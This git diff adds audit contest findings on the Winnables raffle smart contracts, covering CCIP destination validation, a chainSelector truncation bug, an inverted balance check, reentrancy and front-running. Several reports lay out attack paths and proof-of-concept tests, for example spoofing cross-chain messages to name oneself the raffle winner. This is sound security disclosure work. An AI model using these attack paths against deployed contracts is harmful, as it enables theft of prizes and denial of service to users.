cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; +--> _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +```solidity + function _cancelRaffle(uint256 raffleId) internal { + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage nftInfo = _nftRaffles[raffleId]; +--> _nftLocked[nftInfo.contractAddress][nftInfo.tokenId] = false; + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage tokenInfo = _tokenRaffles[raffleId]; +--> unchecked { _tokensLocked[tokenInfo.tokenAddress] -= tokenInfo.amount; } + } else if (raffleType == RaffleType.ETH) { +--> unchecked { _ethLocked -= _ethRaffles[raffleId]; } + } else revert InvalidRaffle(); + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); + } +``` + +## Impact +Admin will not be able to withdraw or use those locked ETH or token or nft + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L280C4-L294C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L280C1-L294C6 + +## Tool used +VS code + +## Recommendation +Verify both address of prizemanager & chainSelector before calling ccip \ No newline at end of file diff --git a/001/444.md b/001/444.md new file mode 100644 index 0000000..96c1f46 --- /dev/null +++ b/001/444.md @@ -0,0 +1,40 @@ +Cuddly Daisy Seagull + +Medium + +# Attacker can cause permanent DOS for the token withdrawal because of an incorrect check. + + +## Summary +There is an incorrect check in the `withdrawTokens` function an attacker can cause DOS on the token withdrawal for as long asn they want. + +## Vulnerability Detail +In the `withdrawTokens` function the admin can withdraw tokens that contract that are accidentally sent, There is a following check `if (amount < balance) revert InsufficientBalance()` which is not ideal as this checks if the entered amount is less than the balance. +The check should have been +`if (balance < amount) revert InsufficientBalance()`. +However even with the original check it is still possible to withdraw all the tokens if `amount == balance`. +But whenever the admin calls this function to withdraw all tokens, an attacker can front run the transaction and send a small amount of token with minimal cost and causing this function to revert due to the above check of `amount < balance`. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292 + +## Impact +Unable to recover stuck funds + +## Code Snippet +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); // @audit : This should be balance < amount. When amount = balance, anyone can dos with a minimum token transfer here. + token.safeTransfer(msg.sender, amount); + } +``` + + +## Tool used + +Manual Review + +## Recommendation +Change the condition to: +`if (balance < amount) revert InsufficientBalance()`. diff --git a/001/445.md b/001/445.md new file mode 100644 index 0000000..5687311 --- /dev/null +++ b/001/445.md @@ -0,0 +1,105 @@ +Vast Pastel Trout + +High + +# _ccipContracts will not store sourceChainSelector informations correctly + +### Summary + +In `BaseCCIPContract.sol` the [`_packCCIPContract`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40) function removes any information about the `chainSelector` and sets it to zero for any value. Therefor the check in `WinnablesPrizeManager.sol::_ccipReceive(..)` will not verify that the msg was send from one of the configured chains as all source chains will pass the check. + +### Root Cause + +In `BaseCCIPContract.sol:43` the function `_packCCIPContract` take the uint64 argument `chainSelector`. This will be shifted left by 160. This will make it too large for a uint64. Therefor the result will be truncated. As described in the solidity docs: "The result of a shift operation has the type of the left operand, truncating the result to match the type." [souce](https://docs.soliditylang.org/en/v0.8.0/types.html?highlight=shift#shifts) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +CCIP allows a number of chains to send msgs. It is possible that the attacker has his own contract deployed on another chain. That is why Winnables added the check for the CCIP source chain. This check is not effective and an attacker can exploit it. + +### Impact + +The `_ccipReceive` is using the ineffective CCIP msg source chain check. The message send by the CCIP transaction contains the winner of the raffle. The attacker could therefor steal the whole raffle price. + +### PoC + +Update `BaseCCIPContract.sol` to make `_packCCIPContract` public for simpler testing: +```diff +@@ -37,7 +37,7 @@ contract BaseCCIPContract { + _ccipContracts[counterpart] = enabled; + } + +- function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { ++ function _packCCIPContract(address contractAddress, uint64 chainSelector) public pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) +``` + +Add POP to the `PriceManger.js`: +```diff +@@ -35,6 +35,13 @@ describe('CCIP Prize Manager', () => { + counterpartContractAddress = signers[1].address; + }); + ++ it('poc', async () => { ++ const packedCCIPContract = await manager._packCCIPContract(counterpartContractAddress, 1); ++ console.log(packedCCIPContract); ++ let expected = '0x' + ('1' + counterpartContractAddress.slice(2)).padStart(64, '0').toLowerCase(); ++ console.log(expected); ++ expect(packedCCIPContract.toLowerCase()).to.equal(expected); ++ }) ++ + it('Should not be able to lock a prize if not admin', async () => { + const randomUser = signers[10]; +``` + +The poc produces the following logs: +```text +> test +> hardhat test --bail + + CCIP Prize Manager +0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 +0x00000000000000000000000170997970C51812dc3A010C7d01b50e0d17dc79C8 + 1) poc + + + 0 passing (3s) + 1 failing + + 1) CCIP Prize Manager + poc: + + AssertionError: expected '0x00000000000000000000000070997970c51…' to equal '0x00000000000000000000000170997970C51…' + + expected - actual + + -0x00000000000000000000000070997970c51812dc3a010c7d01b50e0d17dc79c8 + +0x00000000000000000000000170997970C51812dc3A010C7d01b50e0d17dc79C8 + + at Context. (test/PrizeManager.js:42:35) +``` + +As you can see, the returned packed CCIPContract is not correct, as the chain is zero. This is the case for any `chainSelector`. So different selectors produce the same key for the mapping. + +### Mitigation + +The `chainSelector` should be casted to an uint256 first, than shifted: +```diff +@@ -40,7 +40,7 @@ contract BaseCCIPContract { + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ uint256(chainSelector) << 160 + ); + } + } + ``` \ No newline at end of file diff --git a/001/447.md b/001/447.md new file mode 100644 index 0000000..9747ce2 --- /dev/null +++ b/001/447.md @@ -0,0 +1,61 @@ +Bumpy Plastic Bee + +Medium + +# propagateRaffleWinner() doesn't verify prizeManager & chainSelector before sending ccip message + +## Summary +propagateRaffleWinner() doesn't verify `prizeManager` & `chainSelector` before sending ccip message + +## Vulnerability Detail +When winner of a raffle is decided/selected then anyone can call propagateRaffleWinner(), which sends a message to prizeManager contract to allow winner to claim his reward + +propagateRaffleWinner() doesn't verify the prizeManager & chainSelector before sending ccip message. A malicious using can create fake prizeManger, which can receive ccip call. Now use that address in propagateRaffleWinner(), which will make the call to fake prizeManager. +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } +--> (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } +``` + +## Impact +Winner will not be able to claim his rewards because call was not make to real prizemanager.sol + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334C1-L347C1 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260C4-L278C6 + +## Tool used +VS code + +## Recommendation +Verify both prizemanager & chainSelector before making ccip call \ No newline at end of file diff --git a/001/448.md b/001/448.md new file mode 100644 index 0000000..b53a8e0 --- /dev/null +++ b/001/448.md @@ -0,0 +1,51 @@ +Lively Coconut Panther + +High + +# Attacker Can Break The Entire Winner Logic Via propagateRaffleWinner + +## Summary + +Attacker can call the `propagateRaffleWinner` with a receiver of his choice and grief the actual winner , the winner would never receive the prize. + +## Vulnerability Detail + +1.) Let's assume the users have participated in the raffle and have received their tickets . Now the winner can be drawn and `drawWinner()` is called -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310 + +2.) From the VRF the `fulfillRandomWords()` callback is called and the random number is assigned based on which winner will be decided , + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L357 + +3.) At this point winner is decided since the random number is known , either way our attacker can be anyone else not even a participant and he does the following -> + +4.) Attacker calls `propagateRaffleWinner()` but provides a `prizeManager` address which is not the actual prize manager contract , + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +5.) _sendCCIPMessage is invoked which doesnt verify this prize manager address and sends a message there , lets assume its some random receiver capable of receiving messages. + +6.) Raffle status is set to propagated -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L337 + +7.) Therefore , now `propagateRaffleWinner` cannot be called again for this raffle (L336), meaning the actual winner will never be assigned for this raffle in the prize manager. + +8.) Winner has lost his rewards. + +## Impact + +Attacker can call the `propagateRaffleWinner` with a receiver of his choice and grief the actual winner , the winner would never receive the prize. The prizes would be locked forever in the ticket manager. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +## Tool used + +Manual Review + +## Recommendation + +Verify if the prizeManager passed is the correct one. \ No newline at end of file diff --git a/001/450.md b/001/450.md new file mode 100644 index 0000000..5487d46 --- /dev/null +++ b/001/450.md @@ -0,0 +1,70 @@ +Quick Graphite Beaver + +High + +# Attacker can drain `WinnablePrizeManager.sol` contract, due to reentrancy in `claimPrize` function + +### Summary + +Attacker can enter raffle by creating smart contract, he can drain `WinnablePrizeManager.sol` contract due to re-entrancy in `claimPrize` once he wins + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + +The `claimPrize` function in `WinnablePrizeManager.sol` contract is not following CEI pattern and updating the claim status only after send ether/tokens to the winner. It should update the state before sending tokens/ether to the winner + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The raffle is created by the admin +2. The attacker will create a smart contract and enters raffle with that smart contract as a recipient of ticket. +3. Once the raffle is ended and if the winner is attacker's smart contract, +4. The attacker can call `claimPrize` function in the receive or fallaback function in the smart contract to drain the `WinnablePrizeManager.sol` until it's balance becomes zero. +5. The attacker successfully able to drain the `WinnablePrizeManager.sol` contract and steal money + +### Impact + +Due to this, the attacker will be able to drain the balance of the contract `WinnablePrizeManager.sol` and protocol cannot be able to recover those funds as attacker will steal money + +### PoC + +_No response_ + +### Mitigation + +To mitigate this issue, we have to follow the CEI pattern in the `claimPrize` function in `WinnablePrizeManager.sol` and we have to update the contract state before making any external interactions. Also it is would be better to use Openzeppelin Reentrancy gaurds and use NonReentrant modifier to `claimPrize` function. + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + @audit check for reentrancy + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/451.md b/001/451.md new file mode 100644 index 0000000..1702cef --- /dev/null +++ b/001/451.md @@ -0,0 +1,49 @@ +Bumpy Plastic Bee + +High + +# lockedETH is not updated while refunding players + +## Summary +lockedETH is not updated while refunding players + +## Vulnerability Detail +When user buy tickets then it adds to the lockedETH & this lockedETH can't be withdraw by admin. +```solidity + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; +--> _lockedETH += msg.value; + } +``` +When a raffle got canceled, user can claim their refund through refundPlayers(), but it doesn't update lockedETH amount +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +## Impact +refunded amount of ETH will be locked in the contract because when admin withdraws eth, it subtracts the lockedETH + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L203C1-L208C1 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215C4-L229C1 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L303 + +## Tool used +VS code + +## Recommendation +Subtract the refunded amount from lockedETH \ No newline at end of file diff --git a/001/452.md b/001/452.md new file mode 100644 index 0000000..9074a76 --- /dev/null +++ b/001/452.md @@ -0,0 +1,62 @@ +Howling Neon Raven + +High + +# `WinnablesTicketManager::withdrawTokens` this function will always revert and therefore admin won't be able to withdraw any ERC20 token from the contract. + +### Summary + +function `withdrawTokens` in `WinnablesTicketManager` contract will always revert, meaning that the admin will be unable to withdraw any ERC20 tokens from the contract. + +### Root Cause + +In `WinnablesTicketManager.sol:295` here in [function withdrawTokens](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292), according to Natspec this function is created for - `@notice (Admin) Withdraw Link or any ERC20 tokens accidentally sent here` but while designing this function, a wrong check has been implemented which will always trigger a unexpected revert. + +Buggy Code Snippet - +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +@> if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` + +Here the `if` check in this function was supposed to revert if - `amount` passed to withdraw is greater than the `balance` of that token in the contract, Because withdrawing more than existing token(balance) in the contract is simply not possible because of `Insufficient Balance` + +But here in the code base we can see that this check is implemented incorrectly, because `if (amount < balance) revert InsufficientBalance();` will always revert when admin will try to withdraw an amount of token, where the balance of that token in contract is more than the amount passed. Also even in condition where amount passed by admin is greater than balance of contract for that token, in that condition that `if` condition will pass it, but later in line `token.safeTransfer(msg.sender, amount);` this will revert the tx, as amount more than balance can't be sent. + +Here I've tried my best to explain the vulnerability. Also, check the recommendation(`Mitigation`) section to see how to resolve this vulnerability. + +### Internal pre-conditions + +I've tried my best to explain the vulnerability in the section - `Root Cause`. Also, check the recommendation(`Mitigation`) section to see how to resolve this vulnerability. + +### External pre-conditions + +I've tried my best to explain the vulnerability in the section - `Root Cause`. Also, check the recommendation(`Mitigation`) section to see how to resolve this vulnerability. + +### Attack Path + +No attack path is needed, the function will simply revert whenever the admin will try to execute it. + +### Impact + +Admin is not able to withdraw any ERC20 token from the contract. + +### PoC + +_No response_ + +### Mitigation + + +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/453.md b/001/453.md new file mode 100644 index 0000000..556b4c0 --- /dev/null +++ b/001/453.md @@ -0,0 +1,81 @@ +Colossal Turquoise Chinchilla + +High + +# [H-01] Incorrect Parameters in `WinnablesTicketManager::propagateRaffleWinner` Can Block Prize Claims + +### Summary + +Calling `WinnablesTicketManager::propagateRaffleWinner` with incorrect `prizeManager` or `chainSelector` parameters will result in sending the message to the wrong destination and setting the raffle status to PROPAGATED. This prevents the winner from being properly propagated and claiming their prize via the `WinnablesPrizeManager` contract on Ethereum. + +The `propagateRaffleWinner` function is designed to be called after a raffle concludes and a winner is selected. It transmits the winner's information to the `WinnablesPrizeManager` contract on Ethereum, allowing them to claim their prize. This function should only be called once per `raffleId` to avoid unnecessary LINK costs. Once called, the function is "locked" for that `raffleId`. However, if the `prizeManager` (the Ethereum `WinnablesPrizeManager` contract address) or the `chainSelector` (Ethereum chain ID) parameters are not properly validated, they can be manipulated, causing the message to be sent to the wrong destination. This results in the winner not being sent to the `WinnablesPrizeManager` on Ethereum and the `propagateRaffleWinner` function being locked for that `raffleId`. + +### Root Cause + +In [WinnablesTicketManager.sol:334](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345): missing validation for `prizeManager` or `chainSelector` parameters. +In [BaseCCIPSender.sol:15](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15-L50): missing validation for `ccipDestAddress` and `ccipDestChainSelector`. + +The `ccipSend` function should be used with whitelisted destination address and chain selector to avoid being manipulated. + +### Internal pre-conditions + +1. A winner needs to be selected for a given raffleId (using Chainlink VRF) +2. The `propagateRaffleWinner` function should not be called before the attacker does it. +3. The `WinnableTicketManager` contract should have enough LINK to make a CCIP send call. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. An attacker calls `WinnablesTicketManager::propagateRaffleWinner` with incorrect parameters for either the `prizeManager` contract address or the `chainSelector`. + +### Impact + +The winner is not transmitted to the `WinnablesPrizeManager` on Ethereum, causing the `propagateRaffleWinner` function to be locked for that `raffleId`. As a result, the winner is unable to claim their prize through the `WinnablesPrizeManager` contract. + +### PoC + +In `test/TicketManager.js` Replace the test `Should be able to propagate when the winner is drawn` with the following test: + +```solidity + it('DoS propagateRaffleWinner', async () => { + const raffleId = 1; + const statusBefore = (await manager.getRaffle(raffleId)).status; + expect(statusBefore).to.be.eq(4) // FULFILLED + + // Propagate the winner message to the wrong destination preventing WinnablesPrizeManager + // to unlock the prize for the rightful winner + const wrongAddress = "0x1111111111111111111111111111111111111111"; + const tx = await manager.propagateRaffleWinner(wrongAddress, 1, 1); + await tx.wait(); + + // Should not be able to propagate winner twice for the given raffleId + const statusAfter = (await manager.getRaffle(raffleId)).status; // PROPAGATED + expect(statusAfter).to.be.eq(5) // PROPAGATED + }); +``` + +### Mitigation + +Sanitize the `prizeManager` and `chainSelector` parameters in the `propagateRaffleWinner` function by ensuring that only whitelisted values are accepted. + +```diff + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + ++ bytes32 counterpart = _packCCIPContract(prizeManager, chainSelector); ++ if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + //? @audit what if the owner calls withdrawETH after this? -> That's the expected behaviour + } + } +``` \ No newline at end of file diff --git a/001/454.md b/001/454.md new file mode 100644 index 0000000..0dfbe63 --- /dev/null +++ b/001/454.md @@ -0,0 +1,40 @@ +Boxy Frost Pig + +High + +# Anyone could deprive winner of a prize or break unlock prize if raffile has been canceled + +### Summary + +Function propagateRaffleWinner and cancelRaffle allow specify prizeManager's address and chainselector. Anyone could call these functions with incorect prizeManager's address or chain selector. CCIP message will send to wrong address/chain. But new (next) status of raffle will set anyway, as call has sent to correct address. + +### Root Cause + +In `WinnablesTicketManager.sol:334` and `WinnablesTicketManager.sol:278` user could specify address to ccip call. Arbitary call is possible. https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +There are 2 possible cases: +1. When raffle has status FULFILLED, attacker call propagateRaffleWinner() with incorect prizeManager or chain selector. CCIP request will sent to specified address and chain. Raffle status will set as PROPAGATED, but realy WinnablesPrizeManager will not receive ccip message. +2. When _checkShouldCancel() allow cancel raffle, attacker call cancelRaffle with incorect prizeManager or chain selector. CCIP request will sent to specified address and chain. Raffle status will set as CANCELED, but realy WinnablesPrizeManager will not receive ccip message. + +### Impact + +In first case, the winner could not get his prize, because prizeManager contract has not receive ccip message from ticket manager contract. +In second case, owner could not unlock locked prize, because prizeManager contract has not receive ccip message from ticket manager contract. + +### PoC + +_No response_ + +### Mitigation + +Dont allow to users specify address of prizeManager and chain selector. Use variables,which were set by owner in constructor. \ No newline at end of file diff --git a/001/455.md b/001/455.md new file mode 100644 index 0000000..3f07e75 --- /dev/null +++ b/001/455.md @@ -0,0 +1,63 @@ +Deep Flint Finch + +Medium + +# Incorrect setting of _ccipContracts mapping will make sourceContract address as key only + +### Summary + + The mapping key of _ccipContracts is a packed bytes32 with the following bit mapping +- [0..159] address sourceContract +- [160..223] uint64 sourceChainSelector + +But in _packCCIPContract function the return result only contain address sourceContract is packed in bytes32 as key for _ccipContracts mapping + +### Root Cause + +In [BaseCCIPContract.sol:43](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L43) chainSelector is type uint64, so uint256(chainSelector << 160) will result in 0. + +Leading to +```solidity + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); +``` +equals +```solidity + return bytes32( + uint256(uint160(contractAddress)) | 0); +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Only address sourceContract is packed in bytes32 as key for _ccipContracts mapping + +### PoC + +_No response_ + +### Mitigation + +In _packCCIPContract function: + +```solidity + return bytes32( + uint256(uint160(contractAddress)) | + // uint256(chainSelector << 160) // remove this + uint256(chainSelector) << 160 // add this + ); +``` + diff --git a/001/458.md b/001/458.md new file mode 100644 index 0000000..34e659b --- /dev/null +++ b/001/458.md @@ -0,0 +1,99 @@ +Large Foggy Troll + +High + +# Malicious attacker will be able to decide the raffle winner and claim the prize + +### Summary + +Incorrect handling of chainSelector in BaseCCIPContract.sol can cause incorrect raffle winners as attacker can spoof himself as WinnablesTicketManager.sol and choose the raffle winners. + +### Root Cause + +In `BaseCCIPContract.sol:43` the chainSelector variable is ignored because of an incorrect typecasting. Whatever the chainSelector value be, when executing `uint256(chainSelector << 160 )` the result is always 0. This causes _ccipContracts to not be able to differentiate a message coming from any chain, as long as the address is the same. +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/BaseCCIPContract.sol#L40-L45) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +Attacker should have control over the address(WinnablesTicketManager.sol) in any other chain. + +### Attack Path + +1. Attacker sends a ccip message to the WinnablesPrizeManager.sol with source_address = address(WinnablesTicketManager.sol) but from a different chain. This message would contain the following data and the chainSelector: +```solidity +Client.EVM2AnyMessage data = EVM2AnyMessage { + receiver : address(WinnablesPrizeManager.sol) + data : abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner) + tokenAmounts : // NOT IMPORTANT FOR ATTACK PATH + feeToken : // NOT IMPORTANT FOR ATTACK PATH + extraArgs : "" // NOT IMPORTANT FOR ATTACK PATH + } +``` +Here it is important to note that the attacker can decide on the `winner` and `raffleId`. + +2. The ccip calls the _ccipReceive function in the WinnablesPrizeManager.sol which does the following: +```solidity +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) +The `_senderAddress` extracted will be address(WinnablesTicketManager.sol), and then the `counterpart` is calculated as follows: +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); +} +``` +Here whatever the chain the attacker is sending from, this resolves to "0" (first 96 bits will be 0). +And when the _ccipReceive function checks this calculated `counterpart` in the _ccipContracts, it will return true. This is because the admin must have added the WinnablesTicketManager.sol to the _ccipContracts. (and the chainSelector is ignored, so attackers message is flagged as correct). + + +3. The _ccipReceive function in WinnablesPrizeManager.sol then sets the winner as described by the attacker. +```solidity +CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); +uint256 raffleId; +address winner; +if (messageType == CCIPMessageType.RAFFLE_CANCELED) { + raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; +} +(raffleId, winner) = _decodeWinnerDrawnMessage(message.data); +_rafflePrize[raffleId].winner = winner; +emit WinnerPropagated(raffleId, winner); +``` +4. The attacker can then go on to claim the prize of the raffle. + +Note: This just shows the path where the attacker wins the raffle, he can also cancel the raffle. Also by impersonating WinnablesPrizeManager he can send cross chain messages to the WinnablesTicketManager to change the status of the raffle. + +Note The chainselector is rendered obsolete in the _ccipContracts + +### Impact + +There are many attack paths that the attacker can employ one of them being choosing the winner for himself. This alone leads to 100% loss of funds and the other users losing unfairly. + +### PoC + +_No response_ + +### Mitigation + +Update the _packCCIPContract as follows: +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + (uint256(chainSelector) << 160) // typecasting chainSelector before left shifting + ); +} +``` \ No newline at end of file diff --git a/001/459.md b/001/459.md new file mode 100644 index 0000000..677beab --- /dev/null +++ b/001/459.md @@ -0,0 +1,53 @@ +Eager Corduroy Nightingale + +Medium + +# A bad actor can front-run the raffle creation process and cancel the raffle before it is created by an admin. + +## Summary +`WinnablesTicketManager::_ccipReceive` is setting `_raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED` and after that the admin call `createRaffle` function to create the raffle. But a bad actor can front-run the raffle creation process and cancel the raffle before it is created by an admin. + +## Vulnerability Detail +The vulnerability is rooted in the interaction between the `_ccipReceive` function and the `cancelRaffle` function. When `_ccipReceive` is called, it decodes the incoming message and sets the status of the raffle to `PRIZE_LOCKED` to indicate that the prize is locked and the raffle is ready to be created. This operation is performed before the actual raffle creation by the admin. + +However, this status update can be exploited by a bot or malicious actor who monitors the blockchain for the PRIZE_LOCKED status. Once detected, the attacker can immediately front-run the transaction by calling the `WinnablesTicketManager::cancelRaffle` function, which checks the raffle status through the `_checkShouldCancel` function. If the status is `PRIZE_LOCKED`, the raffle can be canceled without checking anything else before the admin has a chance to complete the creation process. + +## Impact +This vulnerability allows an attacker to repeatedly cancel raffles, preventing the admin from creating new raffles. + +## Code Snippet +Github:- 